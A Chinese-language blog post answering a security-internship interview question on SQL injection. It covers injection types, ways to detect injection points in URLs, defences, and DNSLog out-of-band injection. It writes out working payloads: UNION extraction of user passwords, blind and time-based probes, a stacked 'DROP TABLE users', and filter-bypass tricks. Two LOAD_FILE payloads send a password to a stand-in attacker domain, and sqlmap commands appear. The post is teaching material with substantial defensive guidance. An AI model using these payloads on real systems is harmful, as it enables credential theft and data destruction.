网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[1. 联合查询注入(Union-Based Injection)](#1. 联合查询注入(Union-Based Injection))
[2. 报错注入(Error-Based Injection)](#2. 报错注入(Error-Based Injection))
[3. 布尔盲注(Boolean-Based Blind Injection)](#3. 布尔盲注(Boolean-Based Blind Injection))
[4. 时间盲注(Time-Based Blind Injection)](#4. 时间盲注(Time-Based Blind Injection))
[5. 堆叠注入(Stacked Queries Injection)](#5. 堆叠注入(Stacked Queries Injection))
[6. 二次注入(Second-Order Injection)](#6. 二次注入(Second-Order Injection))
[7. 宽字节注入(GBK Injection)](#7. 宽字节注入(GBK Injection))
[8. Out-of-Band注入(带外通道注入)](#8. Out-of-Band注入(带外通道注入))
[1. 初步探测:字符逃逸测试](#1. 初步探测:字符逃逸测试)
[2. 逻辑测试:布尔条件验证](#2. 逻辑测试:布尔条件验证)
[3. 时间延迟测试](#3. 时间延迟测试)
[4. 联合查询验证](#4. 联合查询验证)
[5. 报错函数触发](#5. 报错函数触发)
[6. 自动化工具辅助](#6. 自动化工具辅助)
[7. 绕过过滤技巧](#7. 绕过过滤技巧)
[1. 参数化查询(Prepared Statements)](#1. 参数化查询(Prepared Statements))
[2. ORM框架使用](#2. ORM框架使用)
[3. 输入验证与过滤](#3. 输入验证与过滤)
[4. 最小权限原则](#4. 最小权限原则)
[5. 错误处理与日志](#5. 错误处理与日志)
[6. Web应用防火墙(WAF)](#6. Web应用防火墙(WAF))
[7. 安全编码规范](#7. 安全编码规范)
[1. 攻击原理](#1. 攻击原理)
[2. 适用场景](#2. 适用场景)
[3. 检测与利用工具](#3. 检测与利用工具)
[4. 防御措施](#4. 防御措施)
美团-安全工程师实习
sql注入有哪些 URL如何判断是否存在注入 sql注入防范 DNSlog注入
一、SQL注入攻击类型及原理
1. 联合查询注入(Union-Based Injection)
原理 :通过构造
UNION SELECT
语句合并合法查询与攻击者定义的恶意查询,从而从其他表中提取数据。
示例 :
/product.php?id=1' UNION SELECT username,password FROM users--+
关键条件:
- 原查询与
UNION
查询的字段数必须相同。- 数据库需返回完整查询结果(非部分截断)。
检测方法:- 使用
ORDER BY
递增数字确定字段数(如ORDER BY 5
若报错则字段数小于5)。- 通过
UNION SELECT NULL,NULL,...
测试字段兼容性(部分数据库要求字段类型一致)。2. 报错注入(Error-Based Injection)
原理 :利用数据库函数或语法错误触发显式报错,将敏感数据通过错误信息回显。
常用函数:
- MySQL :
extractvalue(1,concat(0x7e,(SELECT @@version)))
(利用XML解析报错)。- SQL Server :
CONVERT(int, (SELECT @@version))
(类型转换错误)。
示例 :
/search.php?q=1' AND updatexml(1,concat(0x7e,(SELECT user())),1)--+
优势:无需依赖页面内容显示数据,仅需观察错误信息。3. 布尔盲注(Boolean-Based Blind Injection)
原理 :通过页面返回的布尔状态(真/假)推断数据内容,适用于无报错且无数据回显的场景。
攻击流程:
- 构造条件语句,如
AND 1=1
(页面正常)与AND 1=2
(页面异常)。- 逐字符猜解数据,如:
/login.php?user=admin' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--+
自动化工具 :使用sqlmap --technique=B
指定布尔盲注测试。4. 时间盲注(Time-Based Blind Injection)
原理 :通过数据库延时函数(如
SLEEP()
)触发响应时间差异,判断注入条件是否成立。
示例 :
/profile.php?id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0)--+
(若数据库名首字母ASCII码为115即字母's',则页面响应延迟5秒)。
跨数据库差异:
- MySQL :
SLEEP(5)
- PostgreSQL :
pg_sleep(5)
- SQL Server :
WAITFOR DELAY '0:0:5'
5. 堆叠注入(Stacked Queries Injection)
原理 :利用分号
;
执行多条SQL语句,实现增删改查操作。
示例 :
/delete.php?id=1'; DROP TABLE users;--+
支持场景:
- PHP + MySQL默认不支持堆叠查询(需使用
mysqli_multi_query
)。- ASP + SQL Server通常支持。
风险:可直接执行高危操作(如删除表、写入文件)。6. 二次注入(Second-Order Injection)
原理 :攻击数据先被存储(如用户注册),后续在另一个功能中被调用执行。
典型场景:
- 注册用户名为
admin'--
,前端过滤但未转义。- 密码修改功能调用用户名时触发注入:
UPDATE users SET password='newpass' WHERE username='admin'-- '
防御难点:需确保所有涉及数据库读写环节均进行过滤。7. 宽字节注入(GBK Injection)
原理 :利用数据库字符集转换漏洞(如GBK编码),绕过转义符(
\
)过滤。
示例:
- 输入
%bf%27
(¿'
),转义后变为%bf%5c%27
(GBK解码为運'
),导致单引号逃逸。
防御:统一使用UTF-8编码,避免多字节字符集。8. Out-of-Band注入(带外通道注入)
原理 :通过DNS、HTTP等外部协议将数据外传,常用于无回显场景。
DNSLog注入示例 (详见第四部分):
/api.php?id=1' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test'))--+
依赖条件 :数据库需具备外连权限(如MySQL的secure_file_priv
为空)。
二、URL注入点检测方法
1. 初步探测:字符逃逸测试
步骤:
- 在参数后添加单引号
'
、双引号"
、括号)
等,观察是否报错或页面内容变化。- 测试注释符:
--
(SQL Server)、#
(MySQL)、/*
(多行注释)。
示例 :
/product.php?id=1'
→ 返回数据库语法错误。
/search?q=test"
→ 页面无结果,可能触发逻辑异常。2. 逻辑测试:布尔条件验证
方法:
AND 1=1
→ 页面正常(如商品详情正常加载)。AND 1=2
→ 页面无数据(如商品消失)。
进阶:- 拼接永真/永假条件:
OR 'a'='a'
、AND 'a'='b'
。- 验证数字型/字符型注入:
id=2-1
(若返回id=1的内容则为数字型)。3. 时间延迟测试
Payload:
- MySQL:
id=1' AND SLEEP(5)--+
- SQL Server:
id=1; WAITFOR DELAY '0:0:5'--
判断依据:响应时间是否显著增加(需排除网络波动干扰)。4. 联合查询验证
流程:
- 使用
ORDER BY
确定字段数:
/product.php?id=1 ORDER BY 5--+
→ 若报错则字段数小于5。- 构造
UNION SELECT
验证回显位:
id=-1' UNION SELECT 1,2,3--+
→ 页面显示数字2和3,则为可输出位。5. 报错函数触发
Payload设计:
AND updatexml(1,concat(0x7e,(SELECT user())),1)
→ 显示XPATH syntax error: '~root@localhost'
。OR exp(~(SELECT * FROM (SELECT version())x))
→ 触发双查询报错。6. 自动化工具辅助
sqlmap命令示例:
bash`sqlmap -u "http://example.com/product.php?id=1" \ --batch \ --risk=3 \ --level=5 \ --technique=BEUSTQ `
参数说明:
--technique
:指定注入技术(B:布尔盲注, E:报错注入, U:联合查询, S:堆叠注入, T:时间盲注, Q:内联查询)。--risk=3
:允许使用高风险Payload(如OR
条件)。7. 绕过过滤技巧
常见绕过方法:
- 大小写混写 :
UnIoN SeLeCt
。- URL编码 :
%20
替换空格,%27
替换单引号。- 双写关键词 :
UNIUNIONON SELECT
(若过滤UNION
则为UNIONON
)。- 注释符分割 :
SEL/**/ECT
。
三、SQL注入防御策略
1. 参数化查询(Prepared Statements)
原理 :将SQL语句与数据分离,数据库预编译模板后仅处理参数值。
代码示例(Python):
python`cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))`
支持框架:
- Java:
PreparedStatement
。- PHP:PDO(
$stmt->bindParam()
)。2. ORM框架使用
优势 :通过对象映射避免手动拼接SQL。
示例:
- Django ORM:
User.objects.filter(id=user_id)
- Hibernate:
session.createQuery("FROM User WHERE id = :id").setParameter("id", user_id)
3. 输入验证与过滤
策略:
- 白名单验证 :如数字型参数仅允许
[0-9]
。- 黑名单过滤 :禁用
UNION
、SELECT
等关键词(需谨慎,易被绕过)。4. 最小权限原则
数据库账号配置:
- 禁止使用
root
或sa
账号连接应用。- 限制权限:仅授予
SELECT
、INSERT
等必要权限,禁用FILE
、EXECUTE
。5. 错误处理与日志
要求:
- 前端返回通用错误信息(如"系统错误")。
- 日志记录完整错误详情,但避免泄露数据库结构。
6. Web应用防火墙(WAF)
功能:
- 拦截包含
UNION
、SLEEP
等特征的请求。- 配置正则规则:如
/\bUNION\b.*\bSELECT\b/i
。7. 安全编码规范
规则示例:
- 禁止动态拼接SQL(如
"SELECT * FROM " + tableName
)。- 统一使用参数化接口(如
MyBatis #{}
占位符)。
四、DNSLog注入详解(1000字)
1. 攻击原理
流程:
- 构造Payload触发数据库发起DNS查询。
- 查询内容包含敏感数据(如
SELECT user()
)。- 攻击者通过DNS日志获取数据。
示例Payload(MySQL):
sql`' AND LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.dnslog-attacker.com\\test'))--+ `
关键函数:
LOAD_FILE()
:读取文件(需FILE
权限)。CONCAT()
:拼接域名和数据。2. 适用场景
- 目标数据库允许外连(
secure_file_priv
为空)。- 注入点为盲注且无回显。
3. 检测与利用工具
bash`sqlmap -u "http://example.com/vuln.php?id=1" \ --dns-domain dnslog-attacker.com \ --technique=BEUST `
4. 防御措施
- 限制数据库外连权限(配置防火墙规则)。
- 禁用
FILE
权限和危险函数(如LOAD_FILE()
)。- 过滤输入中的特殊字符(如
\
、.
)。